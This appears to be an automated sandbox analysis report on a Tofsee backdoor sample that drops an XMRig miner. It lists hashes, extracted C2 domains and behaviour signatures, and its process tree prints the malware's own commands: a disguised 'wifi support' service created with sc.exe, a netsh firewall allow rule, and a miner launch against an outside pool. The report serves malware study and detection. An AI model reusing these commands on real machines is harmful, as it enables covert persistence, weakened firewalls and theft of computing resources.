Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    03-10-2023 15:16

General

  • Target

    df050e76b4d3cfb9a43d67ef1359ac8f98697ad987dbf3602f35e62a77144cfe_JC.exe

  • Size

    238KB

  • MD5

    51ffe610f2d2622d296524c8fb85f879

  • SHA1

    72e064dc54e07262f34c2c80ca4f0855d893817a

  • SHA256

    df050e76b4d3cfb9a43d67ef1359ac8f98697ad987dbf3602f35e62a77144cfe

  • SHA512

    4f0215560d1c37fc5c54921099ea18e41cdf73d3dbc98927f424a13c2905d02a6f060581a9e0589210456077e5a23ed4fd6fd1854d2cfa5f70325885f0f744a3

  • SSDEEP

    3072:8vWq9BylhWz4dSXiei87VmTOakmo0SykjTlpP0fsfCGZ5Ffy6Jp4bo6:8uZCzySXZbMsmo0GDPKsfCD6Jp4

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\df050e76b4d3cfb9a43d67ef1359ac8f98697ad987dbf3602f35e62a77144cfe_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\df050e76b4d3cfb9a43d67ef1359ac8f98697ad987dbf3602f35e62a77144cfe_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2208
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\idhhrefh\
      2⤵
        PID:1928
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\trgohxso.exe" C:\Windows\SysWOW64\idhhrefh\
        2⤵
          PID:2648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create idhhrefh binPath= "C:\Windows\SysWOW64\idhhrefh\trgohxso.exe /d\"C:\Users\Admin\AppData\Local\Temp\df050e76b4d3cfb9a43d67ef1359ac8f98697ad987dbf3602f35e62a77144cfe_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2264
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description idhhrefh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2676
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start idhhrefh
          2⤵
          • Launches sc.exe
          PID:2684
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2700
      • C:\Windows\SysWOW64\idhhrefh\trgohxso.exe
        C:\Windows\SysWOW64\idhhrefh\trgohxso.exe /d"C:\Users\Admin\AppData\Local\Temp\df050e76b4d3cfb9a43d67ef1359ac8f98697ad987dbf3602f35e62a77144cfe_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2608
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2484
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2668

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\trgohxso.exe

        Filesize

        11.1MB

        MD5

        1c118d1ef23c98563d32382024800d14

        SHA1

        a490c333571452d7fc9522fb19e5df5c7ca31ae1

        SHA256

        24b5696079231eb858e765bcf3e4beed62e22b0cdf52314a1e527c1a992d21e2

        SHA512

        1959aef3ac1f1c18f9e49bb11548ba5a1e45226918a3e3997d915202be101e9e4beeea45be6a11a6e9c555bd7d50c4196aa5c75cfc977ee39301cb65263ebbf0

      • C:\Windows\SysWOW64\idhhrefh\trgohxso.exe

        Filesize

        11.1MB

        MD5

        1c118d1ef23c98563d32382024800d14

        SHA1

        a490c333571452d7fc9522fb19e5df5c7ca31ae1

        SHA256

        24b5696079231eb858e765bcf3e4beed62e22b0cdf52314a1e527c1a992d21e2

        SHA512

        1959aef3ac1f1c18f9e49bb11548ba5a1e45226918a3e3997d915202be101e9e4beeea45be6a11a6e9c555bd7d50c4196aa5c75cfc977ee39301cb65263ebbf0

      • memory/2208-1-0x00000000025C0000-0x00000000026C0000-memory.dmp

        Filesize

        1024KB

      • memory/2208-3-0x0000000000400000-0x0000000002436000-memory.dmp

        Filesize

        32.2MB

      • memory/2208-4-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2208-8-0x0000000000400000-0x0000000002436000-memory.dmp

        Filesize

        32.2MB

      • memory/2484-38-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-41-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-11-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2484-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2484-58-0x0000000000200000-0x0000000000207000-memory.dmp

        Filesize

        28KB

      • memory/2484-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2484-57-0x0000000005590000-0x000000000599B000-memory.dmp

        Filesize

        4.0MB

      • memory/2484-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2484-22-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2484-23-0x0000000001A00000-0x0000000001C0F000-memory.dmp

        Filesize

        2.1MB

      • memory/2484-26-0x0000000001A00000-0x0000000001C0F000-memory.dmp

        Filesize

        2.1MB

      • memory/2484-27-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/2484-30-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-33-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-34-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-36-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-35-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-37-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-54-0x0000000005590000-0x000000000599B000-memory.dmp

        Filesize

        4.0MB

      • memory/2484-39-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-40-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-10-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2484-42-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-43-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-44-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-45-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-46-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-47-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-48-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-49-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/2484-50-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

      • memory/2484-53-0x00000000000C0000-0x00000000000C5000-memory.dmp

        Filesize

        20KB

      • memory/2608-9-0x0000000002580000-0x0000000002680000-memory.dmp

        Filesize

        1024KB

      • memory/2608-17-0x0000000000400000-0x0000000002436000-memory.dmp

        Filesize

        32.2MB

      • memory/2608-14-0x0000000000400000-0x0000000002436000-memory.dmp

        Filesize

        32.2MB

      • memory/2668-62-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2668-64-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2668-68-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2668-73-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2668-72-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2668-74-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2668-75-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2668-76-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB

      • memory/2668-77-0x00000000000C0000-0x00000000001B1000-memory.dmp

        Filesize

        964KB